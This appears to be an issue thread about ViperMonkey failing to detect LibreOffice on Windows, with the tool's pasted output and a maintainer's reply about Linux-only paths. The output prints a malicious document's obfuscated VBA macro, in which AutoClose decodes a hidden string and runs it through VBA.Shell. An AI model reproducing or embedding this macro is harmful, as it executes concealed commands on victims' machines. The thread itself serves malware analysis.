Vipermonkey says LibreOffice not installed, but it is

[opticoax747]

Running vipermonkey on flare-vm cygwin environment, trying to parse an infected .docm.

LibreOffice is installed, but Vipermonkey doesnt see it and errors out
FILE: c:\Users\IEUser\Desktop\Files and PCAPs\f11b7237907275ca59ce4f0b630f69a6c3770b0060359917bf465690e2309e47 (1).docm
INFO Starting emulation...
INFO Emulating an Office (VBA) file. VBScript support is temporarily disabled in this version.

INFO Reading document metadata...
WARNING Reading in metadata failed. Trying fallback. not an OLE2 structured storage file
ERROR Cannot read metadata with exiftool. [Error 2] The system cannot find the file specified
ERROR Reading in file as Excel with xlrd failed. ZIP file contents not a known type of workbook

ERROR Cannot convert Excel file with LibreOffice. LibreOffice not installed.
INFO Saving dropped analysis artifacts in c:\Users\IEUser\Desktop\Files and PCAPs\f11b7237907275ca59ce4f0b630f69a6c3770b0060359917bf465690e2309e47 (1).docm_artifacts/
INFO Parsing VB...
Error: [Errno 2] No such file or directory: u'word/vbaProject.bin'.

VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'

---

---

VBA CODE (with long lines collapsed):

Sub AutoClose()
roans = Array("d", "J", "t", "s", "e", "A", "h", "0", "h", "j", "t", "s", "s", "V", "o", "q", "q", "n", "P", "5", "Z", "n", "9", "P", "L", "l", "n", "9", "5", "n", "t", "9", "h", "9", "A", "x", "E", "d", "q", "G", "Q", "q", "J", "d", "5", "0", "A", "V", "t", "V", "N", "L", "s", "d", "e", "X", "P", "E", "l", "P")
totoro = ceraunogram(roans)

Application.Run "chillumchee", (totoro)

End Sub

Private Sub chillumchee(brothy)

declination = 6162
samoan = True

While samoan
boneblack = declination + 222
If boneblack - declination > 111 Then
VBA.Shell brothy, vbNormalFocus - 1
samoan = False
End If

Wend

End Sub

Public Function trinely(germaneness, preludium)

russophobist = 9090
categoryator = -1
For Each drolled In preludium
If drolled = germaneness Then
russophobist = categoryator
Exit For
End If

categoryator = categoryator + 1

Next

If russophobist = 9090 Then
russophobist = -1
End If

trinely = russophobist + 1
End Function

Private Function ceraunogram(roans)
malope = Array("s", "P", "G", "q", "e", "d", "9", "Q", "x", "E", "j", "n", "N", "X", "t", "h", "L", "o", "V", "0", "A", "J", "Z", "5", "l")
roughhoused = Array("t", "d", "N", "/", "a", "m", "w", "A", "c", "o", " ", "q", "?", "=", "h", "e", "u", ":", "p", "x", ".", "s", "j", "i", "n")

erasable = vbNullString

For Each paraphrenic In roans
ore = Application.Run("trinely", paraphrenic, malope)
If ore > -1 And ore < 8080 Then
erasable = roughhoused(ore) + erasable
End If
Next

ceraunogram = StrReverse(erasable)

End Function

PARSING VBA CODE:
INFO parsed Sub AutoClose (): 3 statement(s)
INFO parsed Sub chillumchee ([ByRef brothy]): 3 statement(s)
INFO parsed Function trinely ([ByRef germaneness, ByRef preludium]): 5 statement(s)
INFO parsed Function ceraunogram ([ByRef roans]): 5 statement(s)
INFO Reading document variables...
INFO Reading Shapes object text fields...
Traceback (most recent call last):
File "vmonkey.py", line 1311, in _process_file
shape_text = read_ole_fields._get_shapes_text_values(data, 'worddocument')
File "c:\Users\IEUser\Desktop\ViperMonkey-master\ViperMonkey-master\vipermonkey\core\read_ole_fields.py", line 371, in _get_shapes_text_values
r = _get_shapes_text_values_2007(fname)
File "c:\Users\IEUser\Desktop\ViperMonkey-master\ViperMonkey-master\vipermonkey\core\read_ole_fields.py", line 223, in _get_shapes_text_values_2007
f = open(tmp_name, 'wb')
IOError: [Errno 2] No such file or directory: '/tmp/9762170042.office'
ERROR [Errno 2] No such file or directory: '/tmp/9762170042.office'

c:\Users\IEUser\Desktop\ViperMonkey-master\ViperMonkey-master\vipermonkey

[decalage2]

I think for now the call to LibreOffice only works on Linux. Usually on Windows it displays an error but does not stop. I'll have a look.

[opticoax747]

ok, i will try to get a licensed version of Word on Windows? Would that be better?

[decalage2]

No no, I just meant the code in ViperMonkey which deals with LibreOffice is only designed to work on Linux, because it uses paths like /tmp (see the error message you pasted above). What we need to do (if somebody has time), is to improve the code so that it can work with LibreOffice on Windows too.

[opticoax747]

I did hardcode the path to Windows Libre Office into the .py, but it still errored out.

I think my office will give me a Word license...